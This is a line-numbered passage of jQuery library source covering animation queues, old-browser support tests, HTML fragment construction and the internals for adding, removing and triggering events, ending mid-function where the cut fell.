4116 jQuery.removeData( this, key );
4117 } );
4118 }
4119 } );
4120
4121
4122 jQuery.extend( {
4123 queue: function( elem, type, data ) {
4124 var queue;
4125
4126 if ( elem ) {
4127 type = ( type || "fx" ) + "queue";
4128 queue = jQuery._data( elem, type );
4129
4130 // Speed up dequeue by getting out quickly if this is just a lookup
4131 if ( data ) {
4132 if ( !queue || jQuery.isArray( data ) ) {
4133 queue = jQuery._data( elem, type, jQuery.makeArray( data ) );
4134 } else {
4135 queue.push( data );
4136 }
4137 }
4138 return queue || [];
4139 }
4140 },
4141
4142 dequeue: function( elem, type ) {
4143 type = type || "fx";
4144
4145 var queue = jQuery.queue( elem, type ),
4146 startLength = queue.length,
4147 fn = queue.shift(),
4148 hooks = jQuery._queueHooks( elem, type ),
4149 next = function() {
4150 jQuery.dequeue( elem, type );
4151 };
4152
4153 // If the fx queue is dequeued, always remove the progress sentinel
4154 if ( fn === "inprogress" ) {
4155 fn = queue.shift();
4156 startLength--;
4157 }
4158
4159 if ( fn ) {
4160
4161 // Add a progress sentinel to prevent the fx queue from being
4162 // automatically dequeued
4163 if ( type === "fx" ) {
4164 queue.unshift( "inprogress" );
4165 }
4166
4167 // clear up the last queue stop function
4168 delete hooks.stop;
4169 fn.call( elem, next, hooks );
4170 }
4171
4172 if ( !startLength && hooks ) {
4173 hooks.empty.fire();
4174 }
4175 },
4176
4177 // not intended for public consumption - generates a queueHooks object,
4178 // or returns the current one
4179 _queueHooks: function( elem, type ) {
4180 var key = type + "queueHooks";
4181 return jQuery._data( elem, key ) || jQuery._data( elem, key, {
4182 empty: jQuery.Callbacks( "once memory" ).add( function() {
4183 jQuery._removeData( elem, type + "queue" );
4184 jQuery._removeData( elem, key );
4185 } )
4186 } );
4187 }
4188 } );
4189
4190 jQuery.fn.extend( {
4191 queue: function( type, data ) {
4192 var setter = 2;
4193
4194 if ( typeof type !== "string" ) {
4195 data = type;
4196 type = "fx";
4197 setter--;
4198 }
4199
4200 if ( arguments.length < setter ) {
4201 return jQuery.queue( this[ 0 ], type );
4202 }
4203
4204 return data === undefined ?
4205 this :
4206 this.each( function() {
4207 var queue = jQuery.queue( this, type, data );
4208
4209 // ensure a hooks for this queue
4210 jQuery._queueHooks( this, type );
4211
4212 if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
4213 jQuery.dequeue( this, type );
4214 }
4215 } );
4216 },
4217 dequeue: function( type ) {
4218 return this.each( function() {
4219 jQuery.dequeue( this, type );
4220 } );
4221 },
4222 clearQueue: function( type ) {
4223 return this.queue( type || "fx", [] );
4224 },
4225
4226 // Get a promise resolved when queues of a certain type
4227 // are emptied (fx is the type by default)
4228 promise: function( type, obj ) {
4229 var tmp,
4230 count = 1,
4231 defer = jQuery.Deferred(),
4232 elements = this,
4233 i = this.length,
4234 resolve = function() {
4235 if ( !( --count ) ) {
4236 defer.resolveWith( elements, [ elements ] );
4237 }
4238 };
4239
4240 if ( typeof type !== "string" ) {
4241 obj = type;
4242 type = undefined;
4243 }
4244 type = type || "fx";
4245
4246 while ( i-- ) {
4247 tmp = jQuery._data( elements[ i ], type + "queueHooks" );
4248 if ( tmp && tmp.empty ) {
4249 count++;
4250 tmp.empty.add( resolve );
4251 }
4252 }
4253 resolve();
4254 return defer.promise( obj );
4255 }
4256 } );
4257
4258
4259 ( function() {
4260 var shrinkWrapBlocksVal;
4261
4262 support.shrinkWrapBlocks = function() {
4263 if ( shrinkWrapBlocksVal != null ) {
4264 return shrinkWrapBlocksVal;
4265 }
4266
4267 // Will be changed later if needed.
4268 shrinkWrapBlocksVal = false;
4269
4270 // Minified: var b,c,d
4271 var div, body, container;
4272
4273 body = document.getElementsByTagName( "body" )[ 0 ];
4274 if ( !body || !body.style ) {
4275
4276 // Test fired too early or in an unsupported environment, exit.
4277 return;
4278 }
4279
4280 // Setup
4281 div = document.createElement( "div" );
4282 container = document.createElement( "div" );
4283 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4284 body.appendChild( container ).appendChild( div );
4285
4286 // Support: IE6
4287 // Check if elements with layout shrink-wrap their children
4288 if ( typeof div.style.zoom !== "undefined" ) {
4289
4290 // Reset CSS: box-sizing; display; margin; border
4291 div.style.cssText =
4292
4293 // Support: Firefox<29, Android 2.3
4294 // Vendor-prefix box-sizing
4295 "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" +
4296 "box-sizing:content-box;display:block;margin:0;border:0;" +
4297 "padding:1px;width:1px;zoom:1";
4298 div.appendChild( document.createElement( "div" ) ).style.width = "5px";
4299 shrinkWrapBlocksVal = div.offsetWidth !== 3;
4300 }
4301
4302 body.removeChild( container );
4303
4304 return shrinkWrapBlocksVal;
4305 };
4306
4307 } )();
4308 var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
4309
4310 var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
4311
4312
4313 var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
4314
4315 var isHidden = function( elem, el ) {
4316
4317 // isHidden might be called from jQuery#filter function;
4318 // in that case, element will be second argument
4319 elem = el || elem;
4320 return jQuery.css( elem, "display" ) === "none" ||
4321 !jQuery.contains( elem.ownerDocument, elem );
4322 };
4323
4324
4325
4326 function adjustCSS( elem, prop, valueParts, tween ) {
4327 var adjusted,
4328 scale = 1,
4329 maxIterations = 20,
4330 currentValue = tween ?
4331 function() { return tween.cur(); } :
4332 function() { return jQuery.css( elem, prop, "" ); },
4333 initial = currentValue(),
4334 unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
4335
4336 // Starting value computation is required for potential unit mismatches
4337 initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) &&
4338 rcssNum.exec( jQuery.css( elem, prop ) );
4339
4340 if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {
4341
4342 // Trust units reported by jQuery.css
4343 unit = unit || initialInUnit[ 3 ];
4344
4345 // Make sure we update the tween properties later on
4346 valueParts = valueParts || [];
4347
4348 // Iteratively approximate from a nonzero starting point
4349 initialInUnit = +initial || 1;
4350
4351 do {
4352
4353 // If previous iteration zeroed out, double until we get *something*.
4354 // Use string for doubling so we don't accidentally see scale as unchanged below
4355 scale = scale || ".5";
4356
4357 // Adjust and apply
4358 initialInUnit = initialInUnit / scale;
4359 jQuery.style( elem, prop, initialInUnit + unit );
4360
4361 // Update scale, tolerating zero or NaN from tween.cur()
4362 // Break the loop if scale is unchanged or perfect, or if we've just had enough.
4363 } while (
4364 scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations
4365 );
4366 }
4367
4368 if ( valueParts ) {
4369 initialInUnit = +initialInUnit || +initial || 0;
4370
4371 // Apply relative offset (+=/-=) if specified
4372 adjusted = valueParts[ 1 ] ?
4373 initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :
4374 +valueParts[ 2 ];
4375 if ( tween ) {
4376 tween.unit = unit;
4377 tween.start = initialInUnit;
4378 tween.end = adjusted;
4379 }
4380 }
4381 return adjusted;
4382 }
4383
4384
4385// Multifunctional method to get and set values of a collection
4386// The value/s can optionally be executed if it's a function
4387 var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
4388 var i = 0,
4389 length = elems.length,
4390 bulk = key == null;
4391
4392 // Sets many values
4393 if ( jQuery.type( key ) === "object" ) {
4394 chainable = true;
4395 for ( i in key ) {
4396 access( elems, fn, i, key[ i ], true, emptyGet, raw );
4397 }
4398
4399 // Sets one value
4400 } else if ( value !== undefined ) {
4401 chainable = true;
4402
4403 if ( !jQuery.isFunction( value ) ) {
4404 raw = true;
4405 }
4406
4407 if ( bulk ) {
4408
4409 // Bulk operations run against the entire set
4410 if ( raw ) {
4411 fn.call( elems, value );
4412 fn = null;
4413
4414 // ...except when executing function values
4415 } else {
4416 bulk = fn;
4417 fn = function( elem, key, value ) {
4418 return bulk.call( jQuery( elem ), value );
4419 };
4420 }
4421 }
4422
4423 if ( fn ) {
4424 for ( ; i < length; i++ ) {
4425 fn(
4426 elems[ i ],
4427 key,
4428 raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) )
4429 );
4430 }
4431 }
4432 }
4433
4434 return chainable ?
4435 elems :
4436
4437 // Gets
4438 bulk ?
4439 fn.call( elems ) :
4440 length ? fn( elems[ 0 ], key ) : emptyGet;
4441 };
4442 var rcheckableType = ( /^(?:checkbox|radio)$/i );
4443
4444 var rtagName = ( /<([\w:-]+)/ );
4445
4446 var rscriptType = ( /^$|\/(?:java|ecma)script/i );
4447
4448 var rleadingWhitespace = ( /^\s+/ );
4449
4450 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|" +
4451 "details|dialog|figcaption|figure|footer|header|hgroup|main|" +
4452 "mark|meter|nav|output|picture|progress|section|summary|template|time|video";
4453
4454
4455
4456 function createSafeFragment( document ) {
4457 var list = nodeNames.split( "|" ),
4458 safeFrag = document.createDocumentFragment();
4459
4460 if ( safeFrag.createElement ) {
4461 while ( list.length ) {
4462 safeFrag.createElement(
4463 list.pop()
4464 );
4465 }
4466 }
4467 return safeFrag;
4468 }
4469
4470
4471 ( function() {
4472 var div = document.createElement( "div" ),
4473 fragment = document.createDocumentFragment(),
4474 input = document.createElement( "input" );
4475
4476 // Setup
4477 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4478
4479 // IE strips leading whitespace when .innerHTML is used
4480 support.leadingWhitespace = div.firstChild.nodeType === 3;
4481
4482 // Make sure that tbody elements aren't automatically inserted
4483 // IE will insert them into empty tables
4484 support.tbody = !div.getElementsByTagName( "tbody" ).length;
4485
4486 // Make sure that link elements get serialized correctly by innerHTML
4487 // This requires a wrapper element in IE
4488 support.htmlSerialize = !!div.getElementsByTagName( "link" ).length;
4489
4490 // Makes sure cloning an html5 element does not cause problems
4491 // Where outerHTML is undefined, this still works
4492 support.html5Clone =
4493 document.createElement( "nav" ).cloneNode( true ).outerHTML !== "<:nav></:nav>";
4494
4495 // Check if a disconnected checkbox will retain its checked
4496 // value of true after appended to the DOM (IE6/7)
4497 input.type = "checkbox";
4498 input.checked = true;
4499 fragment.appendChild( input );
4500 support.appendChecked = input.checked;
4501
4502 // Make sure textarea (and checkbox) defaultValue is properly cloned
4503 // Support: IE6-IE11+
4504 div.innerHTML = "<textarea>x</textarea>";
4505 support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
4506
4507 // #11217 - WebKit loses check when the name is after the checked attribute
4508 fragment.appendChild( div );
4509
4510 // Support: Windows Web Apps (WWA)
4511 // `name` and `type` must use .setAttribute for WWA (#14901)
4512 input = document.createElement( "input" );
4513 input.setAttribute( "type", "radio" );
4514 input.setAttribute( "checked", "checked" );
4515 input.setAttribute( "name", "t" );
4516
4517 div.appendChild( input );
4518
4519 // Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3
4520 // old WebKit doesn't clone checked state correctly in fragments
4521 support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
4522
4523 // Support: IE<9
4524 // Cloned elements keep attachEvent handlers, we use addEventListener on IE9+
4525 support.noCloneEvent = !!div.addEventListener;
4526
4527 // Support: IE<9
4528 // Since attributes and properties are the same in IE,
4529 // cleanData must set properties to undefined rather than use removeAttribute
4530 div[ jQuery.expando ] = 1;
4531 support.attributes = !div.getAttribute( jQuery.expando );
4532 } )();
4533
4534
4535// We have to close these tags to support XHTML (#13200)
4536 var wrapMap = {
4537 option: [ 1, "<select multiple='multiple'>", "</select>" ],
4538 legend: [ 1, "<fieldset>", "</fieldset>" ],
4539 area: [ 1, "<map>", "</map>" ],
4540
4541 // Support: IE8
4542 param: [ 1, "<object>", "</object>" ],
4543 thead: [ 1, "<table>", "</table>" ],
4544 tr: [ 2, "<table><tbody>", "</tbody></table>" ],
4545 col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
4546 td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
4547
4548 // IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,
4549 // unless wrapped in a div with non-breaking characters in front of it.
4550 _default: support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X<div>", "</div>" ]
4551 };
4552
4553// Support: IE8-IE9
4554 wrapMap.optgroup = wrapMap.option;
4555
4556 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
4557 wrapMap.th = wrapMap.td;
4558
4559
4560 function getAll( context, tag ) {
4561 var elems, elem,
4562 i = 0,
4563 found = typeof context.getElementsByTagName !== "undefined" ?
4564 context.getElementsByTagName( tag || "*" ) :
4565 typeof context.querySelectorAll !== "undefined" ?
4566 context.querySelectorAll( tag || "*" ) :
4567 undefined;
4568
4569 if ( !found ) {
4570 for ( found = [], elems = context.childNodes || context;
4571 ( elem = elems[ i ] ) != null;
4572 i++
4573 ) {
4574 if ( !tag || jQuery.nodeName( elem, tag ) ) {
4575 found.push( elem );
4576 } else {
4577 jQuery.merge( found, getAll( elem, tag ) );
4578 }
4579 }
4580 }
4581
4582 return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
4583 jQuery.merge( [ context ], found ) :
4584 found;
4585 }
4586
4587
4588// Mark scripts as having already been evaluated
4589 function setGlobalEval( elems, refElements ) {
4590 var elem,
4591 i = 0;
4592 for ( ; ( elem = elems[ i ] ) != null; i++ ) {
4593 jQuery._data(
4594 elem,
4595 "globalEval",
4596 !refElements || jQuery._data( refElements[ i ], "globalEval" )
4597 );
4598 }
4599 }
4600
4601
4602 var rhtml = /<|&#?\w+;/,
4603 rtbody = /<tbody/i;
4604
4605 function fixDefaultChecked( elem ) {
4606 if ( rcheckableType.test( elem.type ) ) {
4607 elem.defaultChecked = elem.checked;
4608 }
4609 }
4610
4611 function buildFragment( elems, context, scripts, selection, ignored ) {
4612 var j, elem, contains,
4613 tmp, tag, tbody, wrap,
4614 l = elems.length,
4615
4616 // Ensure a safe fragment
4617 safe = createSafeFragment( context ),
4618
4619 nodes = [],
4620 i = 0;
4621
4622 for ( ; i < l; i++ ) {
4623 elem = elems[ i ];
4624
4625 if ( elem || elem === 0 ) {
4626
4627 // Add nodes directly
4628 if ( jQuery.type( elem ) === "object" ) {
4629 jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
4630
4631 // Convert non-html into a text node
4632 } else if ( !rhtml.test( elem ) ) {
4633 nodes.push( context.createTextNode( elem ) );
4634
4635 // Convert html into DOM nodes
4636 } else {
4637 tmp = tmp || safe.appendChild( context.createElement( "div" ) );
4638
4639 // Deserialize a standard representation
4640 tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
4641 wrap = wrapMap[ tag ] || wrapMap._default;
4642
4643 tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
4644
4645 // Descend through wrappers to the right content
4646 j = wrap[ 0 ];
4647 while ( j-- ) {
4648 tmp = tmp.lastChild;
4649 }
4650
4651 // Manually add leading whitespace removed by IE
4652 if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
4653 nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[ 0 ] ) );
4654 }
4655
4656 // Remove IE's autoinserted <tbody> from table fragments
4657 if ( !support.tbody ) {
4658
4659 // String was a <table>, *may* have spurious <tbody>
4660 elem = tag === "table" && !rtbody.test( elem ) ?
4661 tmp.firstChild :
4662
4663 // String was a bare <thead> or <tfoot>
4664 wrap[ 1 ] === "<table>" && !rtbody.test( elem ) ?
4665 tmp :
4666 0;
4667
4668 j = elem && elem.childNodes.length;
4669 while ( j-- ) {
4670 if ( jQuery.nodeName( ( tbody = elem.childNodes[ j ] ), "tbody" ) &&
4671 !tbody.childNodes.length ) {
4672
4673 elem.removeChild( tbody );
4674 }
4675 }
4676 }
4677
4678 jQuery.merge( nodes, tmp.childNodes );
4679
4680 // Fix #12392 for WebKit and IE > 9
4681 tmp.textContent = "";
4682
4683 // Fix #12392 for oldIE
4684 while ( tmp.firstChild ) {
4685 tmp.removeChild( tmp.firstChild );
4686 }
4687
4688 // Remember the top-level container for proper cleanup
4689 tmp = safe.lastChild;
4690 }
4691 }
4692 }
4693
4694 // Fix #11356: Clear elements from fragment
4695 if ( tmp ) {
4696 safe.removeChild( tmp );
4697 }
4698
4699 // Reset defaultChecked for any radios and checkboxes
4700 // about to be appended to the DOM in IE 6/7 (#8060)
4701 if ( !support.appendChecked ) {
4702 jQuery.grep( getAll( nodes, "input" ), fixDefaultChecked );
4703 }
4704
4705 i = 0;
4706 while ( ( elem = nodes[ i++ ] ) ) {
4707
4708 // Skip elements already in the context collection (trac-4087)
4709 if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
4710 if ( ignored ) {
4711 ignored.push( elem );
4712 }
4713
4714 continue;
4715 }
4716
4717 contains = jQuery.contains( elem.ownerDocument, elem );
4718
4719 // Append to fragment
4720 tmp = getAll( safe.appendChild( elem ), "script" );
4721
4722 // Preserve script evaluation history
4723 if ( contains ) {
4724 setGlobalEval( tmp );
4725 }
4726
4727 // Capture executables
4728 if ( scripts ) {
4729 j = 0;
4730 while ( ( elem = tmp[ j++ ] ) ) {
4731 if ( rscriptType.test( elem.type || "" ) ) {
4732 scripts.push( elem );
4733 }
4734 }
4735 }
4736 }
4737
4738 tmp = null;
4739
4740 return safe;
4741 }
4742
4743
4744 ( function() {
4745 var i, eventName,
4746 div = document.createElement( "div" );
4747
4748 // Support: IE<9 (lack submit/change bubble), Firefox (lack focus(in | out) events)
4749 for ( i in { submit: true, change: true, focusin: true } ) {
4750 eventName = "on" + i;
4751
4752 if ( !( support[ i ] = eventName in window ) ) {
4753
4754 // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP)
4755 div.setAttribute( eventName, "t" );
4756 support[ i ] = div.attributes[ eventName ].expando === false;
4757 }
4758 }
4759
4760 // Null elements to avoid leaks in IE.
4761 div = null;
4762 } )();
4763
4764
4765 var rformElems = /^(?:input|select|textarea)$/i,
4766 rkeyEvent = /^key/,
4767 rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
4768 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
4769 rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
4770
4771 function returnTrue() {
4772 return true;
4773 }
4774
4775 function returnFalse() {
4776 return false;
4777 }
4778
4779// Support: IE9
4780// See #13393 for more info
4781 function safeActiveElement() {
4782 try {
4783 return document.activeElement;
4784 } catch ( err ) { }
4785 }
4786
4787 function on( elem, types, selector, data, fn, one ) {
4788 var origFn, type;
4789
4790 // Types can be a map of types/handlers
4791 if ( typeof types === "object" ) {
4792
4793 // ( types-Object, selector, data )
4794 if ( typeof selector !== "string" ) {
4795
4796 // ( types-Object, data )
4797 data = data || selector;
4798 selector = undefined;
4799 }
4800 for ( type in types ) {
4801 on( elem, type, selector, data, types[ type ], one );
4802 }
4803 return elem;
4804 }
4805
4806 if ( data == null && fn == null ) {
4807
4808 // ( types, fn )
4809 fn = selector;
4810 data = selector = undefined;
4811 } else if ( fn == null ) {
4812 if ( typeof selector === "string" ) {
4813
4814 // ( types, selector, fn )
4815 fn = data;
4816 data = undefined;
4817 } else {
4818
4819 // ( types, data, fn )
4820 fn = data;
4821 data = selector;
4822 selector = undefined;
4823 }
4824 }
4825 if ( fn === false ) {
4826 fn = returnFalse;
4827 } else if ( !fn ) {
4828 return elem;
4829 }
4830
4831 if ( one === 1 ) {
4832 origFn = fn;
4833 fn = function( event ) {
4834
4835 // Can use an empty set, since event contains the info
4836 jQuery().off( event );
4837 return origFn.apply( this, arguments );
4838 };
4839
4840 // Use same guid so caller can remove using origFn
4841 fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
4842 }
4843 return elem.each( function() {
4844 jQuery.event.add( this, types, fn, data, selector );
4845 } );
4846 }
4847
4848 /*
4849 * Helper functions for managing events -- not part of the public interface.
4850 * Props to Dean Edwards' addEvent library for many of the ideas.
4851 */
4852 jQuery.event = {
4853
4854 global: {},
4855
4856 add: function( elem, types, handler, data, selector ) {
4857 var tmp, events, t, handleObjIn,
4858 special, eventHandle, handleObj,
4859 handlers, type, namespaces, origType,
4860 elemData = jQuery._data( elem );
4861
4862 // Don't attach events to noData or text/comment nodes (but allow plain objects)
4863 if ( !elemData ) {
4864 return;
4865 }
4866
4867 // Caller can pass in an object of custom data in lieu of the handler
4868 if ( handler.handler ) {
4869 handleObjIn = handler;
4870 handler = handleObjIn.handler;
4871 selector = handleObjIn.selector;
4872 }
4873
4874 // Make sure that the handler has a unique ID, used to find/remove it later
4875 if ( !handler.guid ) {
4876 handler.guid = jQuery.guid++;
4877 }
4878
4879 // Init the element's event structure and main handler, if this is the first
4880 if ( !( events = elemData.events ) ) {
4881 events = elemData.events = {};
4882 }
4883 if ( !( eventHandle = elemData.handle ) ) {
4884 eventHandle = elemData.handle = function( e ) {
4885
4886 // Discard the second event of a jQuery.event.trigger() and
4887 // when an event is called after a page has unloaded
4888 return typeof jQuery !== "undefined" &&
4889 ( !e || jQuery.event.triggered !== e.type ) ?
4890 jQuery.event.dispatch.apply( eventHandle.elem, arguments ) :
4891 undefined;
4892 };
4893
4894 // Add elem as a property of the handle fn to prevent a memory leak
4895 // with IE non-native events
4896 eventHandle.elem = elem;
4897 }
4898
4899 // Handle multiple events separated by a space
4900 types = ( types || "" ).match( rnotwhite ) || [ "" ];
4901 t = types.length;
4902 while ( t-- ) {
4903 tmp = rtypenamespace.exec( types[ t ] ) || [];
4904 type = origType = tmp[ 1 ];
4905 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
4906
4907 // There *must* be a type, no attaching namespace-only handlers
4908 if ( !type ) {
4909 continue;
4910 }
4911
4912 // If event changes its type, use the special event handlers for the changed type
4913 special = jQuery.event.special[ type ] || {};
4914
4915 // If selector defined, determine special event api type, otherwise given type
4916 type = ( selector ? special.delegateType : special.bindType ) || type;
4917
4918 // Update special based on newly reset type
4919 special = jQuery.event.special[ type ] || {};
4920
4921 // handleObj is passed to all event handlers
4922 handleObj = jQuery.extend( {
4923 type: type,
4924 origType: origType,
4925 data: data,
4926 handler: handler,
4927 guid: handler.guid,
4928 selector: selector,
4929 needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
4930 namespace: namespaces.join( "." )
4931 }, handleObjIn );
4932
4933 // Init the event handler queue if we're the first
4934 if ( !( handlers = events[ type ] ) ) {
4935 handlers = events[ type ] = [];
4936 handlers.delegateCount = 0;
4937
4938 // Only use addEventListener/attachEvent if the special events handler returns false
4939 if ( !special.setup ||
4940 special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
4941
4942 // Bind the global event handler to the element
4943 if ( elem.addEventListener ) {
4944 elem.addEventListener( type, eventHandle, false );
4945
4946 } else if ( elem.attachEvent ) {
4947 elem.attachEvent( "on" + type, eventHandle );
4948 }
4949 }
4950 }
4951
4952 if ( special.add ) {
4953 special.add.call( elem, handleObj );
4954
4955 if ( !handleObj.handler.guid ) {
4956 handleObj.handler.guid = handler.guid;
4957 }
4958 }
4959
4960 // Add to the element's handler list, delegates in front
4961 if ( selector ) {
4962 handlers.splice( handlers.delegateCount++, 0, handleObj );
4963 } else {
4964 handlers.push( handleObj );
4965 }
4966
4967 // Keep track of which events have ever been used, for event optimization
4968 jQuery.event.global[ type ] = true;
4969 }
4970
4971 // Nullify elem to prevent memory leaks in IE
4972 elem = null;
4973 },
4974
4975 // Detach an event or set of events from an element
4976 remove: function( elem, types, handler, selector, mappedTypes ) {
4977 var j, handleObj, tmp,
4978 origCount, t, events,
4979 special, handlers, type,
4980 namespaces, origType,
4981 elemData = jQuery.hasData( elem ) && jQuery._data( elem );
4982
4983 if ( !elemData || !( events = elemData.events ) ) {
4984 return;
4985 }
4986
4987 // Once for each type.namespace in types; type may be omitted
4988 types = ( types || "" ).match( rnotwhite ) || [ "" ];
4989 t = types.length;
4990 while ( t-- ) {
4991 tmp = rtypenamespace.exec( types[ t ] ) || [];
4992 type = origType = tmp[ 1 ];
4993 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
4994
4995 // Unbind all events (on this namespace, if provided) for the element
4996 if ( !type ) {
4997 for ( type in events ) {
4998 jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
4999 }
5000 continue;
5001 }
5002
5003 special = jQuery.event.special[ type ] || {};
5004 type = ( selector ? special.delegateType : special.bindType ) || type;
5005 handlers = events[ type ] || [];
5006 tmp = tmp[ 2 ] &&
5007 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );
5008
5009 // Remove matching events
5010 origCount = j = handlers.length;
5011 while ( j-- ) {
5012 handleObj = handlers[ j ];
5013
5014 if ( ( mappedTypes || origType === handleObj.origType ) &&
5015 ( !handler || handler.guid === handleObj.guid ) &&
5016 ( !tmp || tmp.test( handleObj.namespace ) ) &&
5017 ( !selector || selector === handleObj.selector ||
5018 selector === "**" && handleObj.selector ) ) {
5019 handlers.splice( j, 1 );
5020
5021 if ( handleObj.selector ) {
5022 handlers.delegateCount--;
5023 }
5024 if ( special.remove ) {
5025 special.remove.call( elem, handleObj );
5026 }
5027 }
5028 }
5029
5030 // Remove generic event handler if we removed something and no more handlers exist
5031 // (avoids potential for endless recursion during removal of special event handlers)
5032 if ( origCount && !handlers.length ) {
5033 if ( !special.teardown ||
5034 special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
5035
5036 jQuery.removeEvent( elem, type, elemData.handle );
5037 }
5038
5039 delete events[ type ];
5040 }
5041 }
5042
5043 // Remove the expando if it's no longer used
5044 if ( jQuery.isEmptyObject( events ) ) {
5045 delete elemData.handle;
5046
5047 // removeData also checks for emptiness and clears the expando if empty
5048 // so use it instead of delete
5049 jQuery._removeData( elem, "events" );
5050 }
5051 },
5052
5053 trigger: function( event, data, elem, onlyHandlers ) {
5054 var handle, ontype, cur,
5055 bubbleType, special, tmp, i,
5056 eventPath = [ elem || document ],
5057 type = hasOwn.call( event, "type" ) ? event.type : event,
5058 namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];
5059
5060 cur = tmp = elem = elem || document;
5061
5062 // Don't do events on text and comment nodes
5063 if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
5064 return;
5065 }
5066
5067 // focus/blur morphs to focusin/out; ensure we're not firing them right now
5068 if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
5069 return;
5070 }
5071
5072 if ( type.indexOf( "." ) > -1 ) {
5073
5074 // Namespaced trigger; create a regexp to match event type in handle()
5075 namespaces = type.split( "." );
5076 type = namespaces.shift();
5077 namespaces.sort();
5078 }
5079 ontype = type.indexOf( ":" ) < 0 && "on" + type;
5080
5081 // Caller can pass in a jQuery.Event object, Object, or just an event type string
5082 event = event[ jQuery.expando ] ?
5083 event :
5084 new jQuery.Event( type, typeof event === "object" && event );
5085
5086 // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
5087 event.isTrigger = onlyHandlers ? 2 : 3;
5088 event.namespace = namespaces.join( "." );
5089 event.rnamespace = event.namespace ?
5090 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
5091 null;
5092
5093 // Clean up the event in case it is being reused
5094 event.result = undefined;
5095 if ( !event.target ) {
5096 event.target = elem;
5097 }
5098
5099 // Clone any incoming data and prepend the event, creating the handler arg list
5100 data = data == null ?
5101 [ event ] :
5102 jQuery.makeArray( data, [ event ] );
5103
5104 // Allow special events to draw outside the lines
5105 special = jQuery.event.special[ type ] || {};
5106 if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
5107 return;
5108 }
5109
5110 // Determine event propagation path in advance, per W3C events spec (#9951)
5111 // Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
5112 if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
5113
5114 bubbleType = special.delegateType || type;
5115 if ( !rfocusMorph.test( bubbleType + type ) ) {
5116 cur = cur.parentNode;
5117 }
5118 for ( ; cur; cur = cur.parentNode ) {
5119 eventPath.push( cur );
5120 tmp = cur;
5121 }
5122
5123 // Only add window if we got to document (e.g., not plain obj or detached DOM)
5124 if ( tmp === ( elem.ownerDocument || document ) ) {
5125 eventPath.push( tmp.defaultView || tmp.parentWindow || window );
5126 }
5127 }
5128
5129 // Fire handlers on the event path
5130 i = 0;
5131 while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
5132
5133 event.type = i > 1 ?
5134 bubbleType :
5135 special.bindType || type;
5136
5137 // jQuery handler
5138 handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] &&
5139 jQuery._data( cur, "handle" );
5140
5141 if ( handle ) {
5142 handle.apply( cur, data );
5143 }
5144
5145 // Native handler
5146 handle = ontype && cur[ ontype ];
5147 if ( handle && handle.apply && acceptData( cur ) ) {
5148 event.result = handle.apply( cur, data );
5149 if ( event.result === false ) {
5150 event.preventDefault();
5151 }
5152 }
5153 }
5154 event.type = type;
5155
5156 // If nobody prevented the default action, do it now
5157 if ( !onlyHandlers && !event.isDefaultPrevented() ) {
5158
5159 if (
5160 ( !special._default ||
5161 special._default.apply( eventPath.pop(), data ) === false
5162 ) && acceptData( elem )
5163 ) {
5164
5165 // Call a native DOM method on the target with the same name name as the event.
5166 // Can't use an .isFunction() check here because IE6/7 fails that test.
5167 // Don't do default actions on window, that's where global variables be (#6170)
5168 if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) {
5169
5170 // Don't re-trigger an onFOO event when we call its FOO() method
5171 tmp = elem[ ontype ];
5172
5173 if ( tmp ) {
